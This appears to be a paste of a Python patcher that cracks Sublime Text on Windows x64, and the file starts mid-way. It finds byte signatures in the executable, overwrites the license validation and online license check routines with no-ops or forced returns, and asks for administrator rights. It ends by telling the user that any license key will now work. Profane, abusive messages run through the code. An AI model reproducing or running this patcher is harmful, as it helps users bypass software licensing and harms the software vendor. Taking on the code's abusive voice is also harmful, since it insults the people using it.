            _logger.warning("proceeding with assumed file path %s (you're welcome)", path)
            if not path.exists():
                _msg = f"file {path} doesn't exist - i'm not a fuckin' magician"
                raise FileNotFoundError(_msg)
            if not path.is_file():
                _msg = f"{path} is a directory, not a file (how did you even manage that?)"
                raise FileNotFoundError(_msg)
        return path

    def _parse_pe(self):
        try:
            pe = pefile.PE(self.path, fast_load=True)
        except pefile.PEFormatError as e:
            _msg = "not a valid windows application (try harder)"
            raise pefile.PEFormatError(_msg) from e

        if pe.NT_HEADERS.Signature != pefile.IMAGE_NT_SIGNATURE:
            _msg = "not a valid PE (you downloaded a fake, didn't you?)"
            raise pefile.PEFormatError(_msg)

        if pe.FILE_HEADER.Machine != pefile.MACHINE_TYPE["IMAGE_FILE_MACHINE_AMD64"]:
            _msg = "not an x64 PE (what is this, 2003?)"
            raise pefile.PEFormatError(_msg)

        if not pe.is_exe():
            _msg = "not a standard EXE (you're making this difficult)"
            raise pefile.PEFormatError(_msg)

        return pe

    def find(self, pattern: Union[_Sig, bytes]):
        if isinstance(pattern, _Sig):
            return _Finder(self)._sig_find(pattern)
        if isinstance(pattern, bytes):
            return _Finder(self)._re_find(pattern)
        return None

    def find_string(self, pattern: Union[_Sig, bytes]):
        if isinstance(pattern, _Sig):
            return _Finder(self)._sig_find_string(pattern)
        if isinstance(pattern, bytes):
            return _Finder(self)._re_find_string(pattern)
        return None

    def __str__(self) -> str:
        return self.path


class _SublimeText(_File):
    _VERSION_PATTERNS = tuple(
        r % rb"(\d{4})"
        for r in (
            b"version=%b",
            b"sublime_text_%b",
        )
    )

    def __init__(self, filepath: Union[str, Path]) -> None:
        super().__init__(filepath)

    def get_version(self):
        for pattern in self._VERSION_PATTERNS:
            try:
                version = self.find_string(pattern)
            except ValueError as e:
                _logger.warning(e)
                continue
            else:
                return version.decode()
        _msg = "could not find version string (sublime is playing hide and seek)"
        raise ValueError(_msg)


class _Ref:
    _ADDR_LEN = 4

    def __init__(self, _type: str, total_size: int) -> None:
        self.type = _type
        self.total_size = total_size
        self.op_size = self.total_size - self._ADDR_LEN


class _Finder:
    """finds stuff because we're too fuckin' lazy to look ourselves"""
    
    _ref_types = {
        r.type: r
        for r in (
            _Ref("call", 5),
            _Ref("lea", 7),
            _Ref("jmp", 5),
        )
    }
    
    _STR_SAMPLE_LEN = 100
    _NULL = b"\x00"

    def __init__(self, file: "_File") -> None:
        self.file = file

    def _re_find(self, pattern: bytes):
        it = re.finditer(pattern, self.file.data, flags=re.DOTALL)
        match = next(it, None)
        if not match:
            _msg = f"could not find pattern {pattern!r} (it's hiding from you)"
            raise ValueError(_msg)
        if next(it, None):
            _msg = f"found multiple matches for pattern {pattern!r} (make up your fuckin' mind)"
            raise ValueError(_msg)
        return match

    def _re_find_string(self, pattern: bytes):
        return self._re_find(pattern).group(1)

    def _sig_find(self, sig: _Sig):
        try:
            match = self._re_find(sig.pattern)
        except ValueError as e:
            _msg = f"could not find signature {sig} (it's shy or some shit)"
            raise ValueError(_msg) from e

        offset = match.start() + sig.offset

        if sig.ref:
            ref = self._ref_types.get(sig.ref)
            if not ref:
                _msg = f"unsupported reference type {sig.ref} (figure it out yourself)"
                raise ValueError(_msg)

            matched_bytes = match.group(0)
            matched_bytes = matched_bytes[sig.offset : sig.offset + ref.total_size]
            _logger.debug("resolving %s: %s", ref.type, _PrettyBytes(matched_bytes))

            rel_addr = self._get_addr(ref, matched_bytes)
            _logger.debug("determined relative address: %s", hex(rel_addr))

            offset = offset + ref.total_size + rel_addr
            offset %= 2**32

            _logger.debug("determined actual offset: %s", hex(offset))

        return offset

    def _sig_find_string(self, sig: _Sig):
        offset = self._sig_find(sig)
        sample = self.file.data[offset : offset + self._STR_SAMPLE_LEN]
        return sample[: sample.tobytes().find(self._NULL)].tobytes().decode()

    @staticmethod
    def _get_addr(ref: _Ref, matched_bytes: bytes) -> int:
        rel_addr = matched_bytes[ref.op_size : ref.total_size]
        return int.from_bytes(rel_addr, byteorder="little")


class _PatchDB:
    _CHANNELS = {
        "dev": (
            4109, 4110, 4111, 4112, 4114, 4115, 4116, 4117, 4118, 4119,
            4120, 4122, 4123, 4124, 4125, 4127, 4128, 4129, 4130, 4131,
            4134, 4136, 4137, 4138, 4139, 4140, 4141, 4145, 4146, 4147,
            4148, 4149, 4150, 4153, 4154, 4155, 4156, 4158, 4159, 4160,
            4164, 4165, 4167, 4168, 4170, 4171, 4172, 4173, 4174, 4175,
            4177, 4178, 4181, 4183, 4184, 4185, 4187, 4188, 4190, 4191,
            4194, 4195, 4196, 4198, 4199, 4205, 4206, 4207,
        ),
        "stable": (
            4107, 4113, 4121, 4126, 4142, 4143, 4151, 4152, 4166,
            4169, 4180, 4186, 4189, 4192, 4200,
        ),
    }

    _all_versions = tuple(itertools.chain.from_iterable(_CHANNELS.values()))
    _MIN_SUPPORTED = min(_all_versions)
    _MAX_SUPPORTED = max(_all_versions)

    _VERSIONS = {}
    for channel, versions in _CHANNELS.items():
        for version in versions:
            _VERSIONS[version] = channel

    _OS = ("windows", "macos", "linux")
    _ARCH = ("x64", "x86", "ARM64")

    def __init__(self, os, arch, version) -> None:
        try:
            self.channel = self._VERSIONS[version]
        except KeyError as e:
            _msg = f"version {version} doesn't exist in the patch database (who knew?)"
            raise KeyError(_msg) from e
        if os not in self._OS:
            _msg = f"unsupported OS {os} (do you even computer, bro?)"
            raise ValueError(_msg)
        if arch not in self._ARCH:
            _msg = f"unsupported architecture {arch} (nice fuckin' try)"
            raise ValueError(_msg)
        self.os = os
        self.arch = arch
        self.version = version
        self._DB = {
            os: {
                arch: {channel: () for channel in list(self._CHANNELS.keys()) + ["base"]}
                for arch in self._ARCH
            }
            for os in self._OS
        }
        self._load()

    def get_patches(self):
        return self._DB[self.os][self.arch]["base"] + self._DB[self.os][self.arch][self.channel]

    def _load(self) -> None:
        if self.os == "windows":
            self._DB["windows"]["x64"]["base"] = (
                _Patch(
                    "nop",
                    _Sig(
                        "41 B8 88 13 00 00 E8 ? ? ? ?",
                        offset=0x6,
                        name="license_revalidate1",
                    ),
                ),
                _Patch(
                    "nop",
                    _Sig(
                        "41 B8 98 3A 00 00 E8 ? ? ? ?",
                        offset=0x6,
                        name="license_revalidate2",
                    ),
                ),
                _Patch(
                    "ret280"
                    if self.version >= 4206
                    else "ret1"
                    if self.version == 4205
                    else "ret0",
                    _Sigs(
                        "license_validate",
                        _Sig(
                            "0f 11 ? ? ? 31 ? 45 31 ? 45 31 ? e8 ? ? ? ?",
                            ref="call",
                            offset=0xD,
                        ),
                        _Sig(
                            "45 31 ? e8 ? ? ? ? 85 c0 75 ? ? 8d",
                            ref="call",
                            offset=0x3,
                        ),
                        _Sig("e8 ? ? ? ? ? 8b ? ? ? ? ? 85 c0 0f 94 ? ? 74", ref="call"),
                    ),
                ),
                _Patch(
                    "ret0",
                    _Sig(
                        "48 8d ? ? ? ? ? e8 ? ? ? ? 48 89 c1 ff ? ? ? ? ? ? 8b",
                        ref="lea",
                        name="online_license_notification",
                    ),
                ),
                _Patch(
                    "ret1",
                    _Sigs(
                        "online_license_check",
                        _Sig(
                            "8b 51 ? 48 83 c1 08 e9 ? ? ? ?",
                            ref="jmp",
                            offset=0x7,
                        ),
                        _Sig(
                            "56 57 53 48 83 ec ? 89 d6 48 89 cf b9 ? 00 00 00 e8 ? ? ? ?",
                        ),
                    ),
                ),
            )


class _Result(NamedTuple):
    version: Optional[int] = None
    success: bool = False
    info: str = ""

    def __str__(self) -> str:
        status = "success (shocking!)" if self.success else "fail (expected)"
        return f"version {self.version}: {status}: {self.info}"


def _is_admin():
    """check if we're running as admin because windows is fuckin' special"""
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False


def _elevate_self():
    """attempt to elevate privileges because we're too lazy to do it ourselves"""
    _logger.info("attempting to elevate to admin (hold my beer)...")
    
    script = Path(__file__).resolve()
    
    # try powershell first because it's more reliable
    ps_cmd = f'Start-Process python -ArgumentList "{script}" -Verb RunAs'
    try:
        subprocess.Popen(["powershell", "-Command", ps_cmd], shell=True)
        _logger.info("elevation attempted! new window should pop up. if not, you're on your own, dickhead.")
        return True
    except Exception as e:
        _logger.error(f"powershell elevation failed: {e}")
        return False


def _process_file(filepath, force_patch_channel=None):
    sublime = None
    try:
        if filepath is None:
            filepath = _DEFAULT_PATH
            _logger.info(f"using default path: {filepath}")
        sublime = _SublimeText(filepath)
    except (OSError, FileNotFoundError, pefile.PEFormatError) as e:
        _logger.exception(e)
        return _Result(info=e)

    try:
        version = int(sublime.get_version())
    except ValueError as e:
        _logger.exception(e)
        if not force_patch_channel:
            return _Result(info=e)
        version = None
    else:
        _logger.info("sublime text version %d detected (congrats, you found it)", version)

    try:
        patches = _PatchDB("windows", "x64", version).get_patches()
    except ValueError as e:
        _logger.exception(e)
        return _Result(info=e, version=version)
    except KeyError as e:
        _logger.exception(e)
        if force_patch_channel:
            forced_version = _PatchDB._CHANNELS[force_patch_channel][-1]
            _logger.warning(
                f"force patching as {force_patch_channel} version {forced_version} anyway (you're lucky i'm nice)"
            )
            patches = _PatchDB("windows", "x64", forced_version).get_patches()
        else:
            _logger.warning(
                "you can still use -f or manually add %d into the CHANNELS dictionary if you want to play with fire",
                version,
            )
            return _Result(info=e, version=version)

    sublime.add_patches(patches)

    try:
        offsets = sublime.apply_all_patches()
    except ValueError as e:
        _logger.exception(e)
        return _Result(info=e, version=version)

    try:
        sublime.save()
    except (OSError, PermissionError) as e:
        _logger.exception(e)
        return _Result(info=e, version=version)

    return _Result(success=True, info=[hex(o) for o in sorted(offsets)], version=version)


def main() -> int:
    _BORDER_LEN = 64
    
    _description = f"w4ttz sublime-text-ploit...license key - v{_PatchDB._MIN_SUPPORTED}-{_PatchDB._MAX_SUPPORTED} windows x64 patcher (may contain traces of sarcasm and bad decisions)"
    _epilog = "problems? that's a you problem, not a me problem. good fuckin' luck!"

    parser = argparse.ArgumentParser(
        prog=Path(__file__).name,
        description=_description,
        epilog=_epilog,
    )

    group = parser.add_mutually_exclusive_group()
    group.add_argument("filepath", help=f"file path to {_TARGET_PROGRAM} (default: {_DEFAULT_PATH})", nargs="?")
    group.add_argument(
        "-t",
        "--test",
        help="directory path containing sublime_text_build_*_x64.zip files for batch testing (because you're a fuckin' overachiever)",
        type=Path,
        metavar="DIRPATH",
    )
    parser.add_argument(
        "-f",
        "--force",
        help="force patching even if detected version doesn't exist (live dangerously, you rebel)",
        choices=["stable", "dev"],
    )
    args = parser.parse_args()
    filepath = args.filepath
    force_patch_channel = args.force
    test_path = args.test

    print("-" * _BORDER_LEN)
    print(_description)
    print("-" * _BORDER_LEN)

    # check admin status and handle it like a boss
    if not _is_admin():
        _logger.warning("not running as Administrator (amateur hour)")
        print("\nthis script needs admin privileges because windows is a special little snowflake.")
        print("press ENTER to auto-elevate (new window will open), or CTRL+C to get the fuck out.")
        
        try:
            input("> ")
            if _elevate_self():
                print("elevation attempted! new window should open. exiting current instance.")
                return 0
            else:
                print("elevation failed. try running as Administrator manually, genius.")
                return 1
        except KeyboardInterrupt:
            print("\nfine, be that way. exiting...")
            return 1

    if test_path:
        _logger.info("testing using directory %s (hopefully you know what the fuck you're doing)...", test_path)
        _logger.info("-" * _BORDER_LEN)

        if not test_path.exists():
            _logger.error("test directory %s doesn't exist (shocker)", test_path)
            return 1

        if not test_path.is_dir():
            _logger.error("test path %s isn't a directory (reading comprehension fail)", test_path)
            return 1

        for file in test_path.glob("./sublime_text_build_*_x64.zip"):
            subdir = file.stem
            with ZipFile(file) as zf:
                zf.extract(_TARGET_PROGRAM, test_path / subdir)

        test_results = []
        for file in test_path.glob(f"./sublime_text_build_*_x64/{_TARGET_PROGRAM}"):
            _logger.info("testing %s...", file)
            result = _process_file(file, force_patch_channel)
            test_results.append(result)
            _logger.info("-" * _BORDER_LEN)
        for result in test_results:
            _logger.info(result)

        return 0

    if not filepath:
        _logger.info(f"no file path provided, using default: {_DEFAULT_PATH}")
        filepath = _DEFAULT_PATH

    result = _process_file(filepath, force_patch_channel)

    if result.success:
        print("\nENJOY, YOU MAGNIFICENT BASTARD! (it might even fuckin' work)")
        print("-" * _BORDER_LEN)
        print("PRO TIP: enter ANY text as the license key. yes, really. ANYTHING.")
        print("   'potato', 'hunter2', '1337hax0r', 'suck_it_sublime' - it's all good, baby!")
        print("   here's some more horseshit clacking i did on a keyboard just for you")
    else:
        print("\nwell shit... something fuckin' broke. that's a you problem now.")
    
    print("-" * _BORDER_LEN)
    print(_epilog)
    print("-" * _BORDER_LEN)

    return 0 if result.success else 1


if __name__ == "__main__":
    exit(main())
[ created: Aug 28, 2026 5:29 am ] ( [ updated: Nov 2, 2026 4:22 pm ])
SYSTEM // PSTBN
00:00:00
v0.4.2